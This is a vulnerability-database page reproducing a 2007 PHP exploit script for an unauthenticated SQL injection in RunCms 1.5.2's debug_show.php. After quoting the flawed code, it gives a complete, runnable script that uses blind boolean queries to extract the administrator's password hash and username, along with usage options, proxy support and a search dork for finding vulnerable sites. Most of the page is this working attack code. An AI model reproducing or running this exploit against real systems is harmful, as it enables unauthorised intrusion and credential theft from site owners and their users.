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RunCms <= 1.5.2 (debug_show.php) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug🔗 www.seebug.org👁 34 Views

Remote SQL Injection Exploit in RunCms <= 1.5.2 debug_show.ph

Code

                                                &#60;?php
print_r(&#39;
--------------------------------------------------------------------------
RunCms &#60;= 1.5.2 /class/debug/debug_show.php sql injection / credentials
disclosure exploit
by rgod
mail: retrog at alice dot it
site: http://retrogod.altervista.org

dork: &#34;Runcms Copyright&#34; &#34;2002 - 2007&#34; +&#34;page created&#34;
---------------------------------------------------------------------------
&#39;);

/*
software site: http://www.runcms.org/modules/news/

vulnerable code in /class/debug/debug_show.php:
&#60;?php
...

include_once(&#34;../../mainfile.php&#34;);
include_once(&#34;../../header.php&#34;);

switch($_POST[&#39;debug_show&#39;]) {
  case &#34;show_files&#34;:
    show_files($_POST[&#39;loaded_files&#39;]);
    break;

  case &#34;show_queries&#34;:
    show_queries($_POST[&#39;executed_queries&#39;], $_POST[&#39;sorted&#39;]);
    break;
}

include_once(&#34;../../footer.php&#34;);
?&#62;

no authentication is performed to run show_files() and show_queries()
functions, look at this now in /class/debug/debug.php:

...
function show_queries($executed_queries, $sorted=0)
{
   global $db;

   $executed_queries = unserialize(urldecode($executed_queries));

   if ($sorted == 1)
   {
      sort($executed_queries);
      $is_sorted = _DBG_SORTEDR;
   }
   else
   {
      array_reverse($executed_queries);
      $is_sorted = _DBG_NSORTEDR;
   }

   OpenTable();

   $fulldebug = &#34;
    &#60;h4&#62;($is_sorted) &#34;._DBG_QEXECED.&#34;: &#34;.count($executed_queries).&#34;&#60;/h4&#62;
    &#60;table width=&#39;100%&#39; cellpadding=&#39;3&#39; cellspacing=&#39;1&#39;&#62;&#34;;

   $size = count($executed_queries);

   for ($i=0; $i&#60;$size; $i++)
   {
      $stime = get_micro_time();

      $query      = $db-&#62;query(&#34;EXPLAIN &#34;.$executed_queries[$i].&#34;&#34;);
      $querytime  = (get_micro_time() - $stime);
      $totaltime += $querytime;

      $fulldebug .= &#34;&#60;tr&#62;
			&#60;td nowrap=&#39;nowrap&#39; class=&#39;bg2&#39;&#62;&#60;b&#62;&#34;._DBG_QUERY.&#34;: &#34;.($i+1).&#34;&#60;/b&#62;&#60;/td&#62;
			&#60;td colspan=&#39;7&#39; class=&#39;bg3&#39;&#62;$executed_queries[$i]&#60;/td&#62;
			&#60;/tr&#62;&#60;tr&#62;
			&#60;td nowrap=&#39;nowrap&#39; class=&#39;bg2&#39;&#62;&#60;b&#62;&#34;._DBG_TIME.&#34;:&#60;/b&#62;&#60;/td&#62;
			&#60;td colspan=&#39;7&#39; class=&#39;bg3&#39;&#62;&#34;.round($querytime, 4).&#34; &#34;._DBG_SECONDS.&#34;&#60;/td&#62;
			&#60;/tr&#62;&#60;tr&#62;
			&#60;td nowrap=&#39;nowrap&#39; class=&#39;bg2&#39;&#62;&#60;b&#62;&#34;._DBG_TABLE.&#34;:&#60;/b&#62;&#60;/td&#62;
			&#60;td nowrap=&#39;nowrap&#39; class=&#39;bg2&#39;&#62;&#60;b&#62;&#34;._DBG_TYPE.&#34;:&#60;/b&#62;&#60;/td&#62;
			&#60;td nowrap=&#39;nowrap&#39; class=&#39;bg2&#39;&#62;&#60;b&#62;&#34;._DBG_POSSKEYS.&#34;:&#60;/b&#62;&#60;/td&#62;
			&#60;td nowrap=&#39;nowrap&#39; class=&#39;bg2&#39;&#62;&#60;b&#62;&#34;._DBG_KEY.&#34;:&#60;/b&#62;&#60;/td&#62;
			&#60;td nowrap=&#39;nowrap&#39; class=&#39;bg2&#39;&#62;&#60;b&#62;&#34;._DBG_KEYLEN.&#34;:&#60;/b&#62;&#60;/td&#62;
                        &#60;td nowrap=&#39;nowrap&#39; class=&#39;bg2&#39;&#62;&#60;b&#62;ref:&#60;/b&#62;&#60;/td&#62;
			&#60;td nowrap=&#39;nowrap&#39; class=&#39;bg2&#39;&#62;&#60;b&#62;&#34;._DBG_ROWS.&#34;:&#60;/b&#62;&#60;/td&#62;
			&#60;td nowrap=&#39;nowrap&#39; class=&#39;bg2&#39;&#62;&#60;b&#62;&#34;._DBG_EXTRA.&#34;:&#60;/b&#62;&#60;/td&#62;
                        &#60;/tr&#62;&#34;;

      while ($result = $db-&#62;fetch_array($query))
      {
         $fulldebug .= &#34; &#60;tr&#62;
			&#60;td class=&#39;bg3&#39; nowrap=&#39;nowrap&#39; {$result[&#39;table&#39;]}&nbsp;&#60;/td&#62;
			&#60;td class=&#39;bg3&#39; nowrap=&#39;nowrap&#39; {$result[&#39;type&#39;]}&nbsp;&#60;/td&#62;
			&#60;td class=&#39;bg3&#39;&#62;{$result[&#39;possible_keys&#39;]}&nbsp;&#60;/td&#62;
			&#60;td class=&#39;bg3&#39; nowrap=&#39;nowrap&#39; {$result[&#39;key&#39;]}&nbsp;&#60;/td&#62;
			&#60;td class=&#39;bg3&#39; nowrap=&#39;nowrap&#39; {$result[&#39;key_len&#39;]}&nbsp;&#60;/td&#62;
                        &#60;td class=&#39;bg3&#39; nowrap=&#39;nowrap&#39; {$result[&#39;ref&#39;]}&nbsp;&#60;/td&#62;
			&#60;td class=&#39;bg3&#39; nowrap=&#39;nowrap&#39; {$result[&#39;rows&#39;]}&nbsp;&#60;/td&#62;
			&#60;td class=&#39;bg3&#39;&#62;{$result[&#39;Extra&#39;]}&nbsp;&#60;/td&#62;
                        &#60;/tr&#62;&#34;;
      }
      $fulldebug .= &#34;&#60;tr&#62;
			&#60;td colspan=&#39;8&#39; class=&#39;bg1&#39;&#62;&#34;._DBG_CUMULATED.&#34;:&#34;.round($totaltime, 4).&#34; &#34;._DBG_SECONDS.&#34;&#60;hr noshade&#62;&#60;/td&#62;
			&#60;/tr&#62;&#34;;
   }

   $fulldebug .= &#34;&#60;/table&#62;&#34;;

   echo $fulldebug;
   CloseTable();
}
...

we have a nice kind of sql injection here!

also show_files function can be used to check the existence of certain files
and retrieve the filesize or if it has been modified and so on...


*/

if ($argc&#60;3) {
    print_r(&#39;
---------------------------------------------------------------------------
Usage: php &#39;.$argv[0].&#39; host path OPTIONS
host:      target server (ip/hostname)
path:      path to runcms

Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]:    &#34;&#34;   a proxy
 -T[prefix]      &#34;&#34;   a table prefix (default: runcms)
Example:
php &#39;.$argv[0].&#39; localhost /runcms/ ls -la -P1.1.1.1:80
php &#39;.$argv[0].&#39; localhost /runcms/ ls -la -p81
---------------------------------------------------------------------------
&#39;);
    die;
}

error_reporting(7);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function send($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    $parts[1]=(int)$parts[1];
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy=&#34;&#34;;
$prefix=&#34;runcms&#34;;

for ($i=3; $i&#60;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp==&#34;-p&#34;)
{
  $port=(int)str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-T&#34;)
{
  $prefix=str_replace(&#34;-T&#34;,&#34;&#34;,$argv[$i]);
}
}
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57)); //numbers
$md5s=array_merge($md5s,range(97,102));//a-f letters
//print_r(array_values($md5s));
echo &#34;md5 hash -&#62; &#34;;
$j=1;$password=&#34;&#34;;
while (!strstr($password,chr(0))){
    for ($i=0; $i&#60;=255; $i++){
        if (in_array($i,$md5s)){
            $executed_queries=array();
            //original query: EXPLAIN ...
            $executed_queries[0]=&#34;SELECT null FROM &#34;.$prefix.&#34;_users WHERE 1=(IF((ASCII(SUBSTRING(pass,&#34;.$j.&#34;,1))=&#34;.$i.&#34;),1,999999)) AND rank=7 LIMIT 1&#34;;
            $sql=urlencode(serialize($executed_queries));
            $sql=str_replace(&#34;%22&#34;,&#34;%2522&#34;,$sql);//you know, urldecode()...
            $data =&#34;debug_show=show_queries&#34;;
            $data.=&#34;&executed_queries=&#34;.$sql;
            $data.=&#34;&sorted=1&#34;;
            $packet =&#34;POST &#34;.$p.&#34;class/debug/debug_show.php HTTP/1.0\r\n&#34;;
            $packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
            $packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n&#34;;
            $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
            $packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
            $packet.=&#34;Pragma: no-cache\r\n&#34;;
            $packet.=&#34;Connection: Close\r\n\r\n&#34;;
            $packet.=$data;
            send($packet);
            if (eregi(&#34;_users&nbsp;&#60;/td&#62;&#34;,$html)){$password.=chr($i);echo chr($i); sleep(1); break;}
        }
        if ($i==255) {die(&#34;Exploit failed...&#34;);}
  }
  $j++;
}
echo &#34;\n&#34;;

echo &#34;admin username -&#62; &#34;;
$j=1;$admin_user=&#34;&#34;;
while (!strstr($admin_user,chr(0))){
    for ($i=0; $i&#60;=255; $i++){
        $executed_queries=array();
        $executed_queries[0]=&#34;SELECT null FROM &#34;.$prefix.&#34;_users WHERE 1=(IF((ASCII(SUBSTRING(uname,&#34;.$j.&#34;,1))=&#34;.$i.&#34;),1,999999)) AND rank=7 LIMIT 1&#34;;
        $sql=urlencode(serialize($executed_queries));
        $sql=str_replace(&#34;%22&#34;,&#34;%2522&#34;,$sql);
        $data =&#34;debug_show=show_queries&#34;;
        $data.=&#34;&executed_queries=&#34;.$sql;
        $data.=&#34;&sorted=1&#34;;
        $packet =&#34;POST &#34;.$p.&#34;class/debug/debug_show.php HTTP/1.0\r\n&#34;;
        $packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
        $packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n&#34;;
        $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
        $packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
        $packet.=&#34;Pragma: no-cache\r\n&#34;;
        $packet.=&#34;Connection: Close\r\n\r\n&#34;;
        $packet.=$data;
        send($packet);
        if (eregi(&#34;_users&nbsp;&#60;/td&#62;&#34;,$html)){$admin_user.=chr($i);echo chr($i); sleep(1); break;}
    }
    if ($i==255) {die(&#34;Exploit failed...&#34;);}
    $j++;
}
?&#62;

# milw0rm.com [2007-05-04]

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01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
runcmssql injectiondebug_show.phpcredentials disclosurevulnerable codeshow_filesshow_queriesunserializeauthenticationvulnerabilitiesexploitationremote code execution
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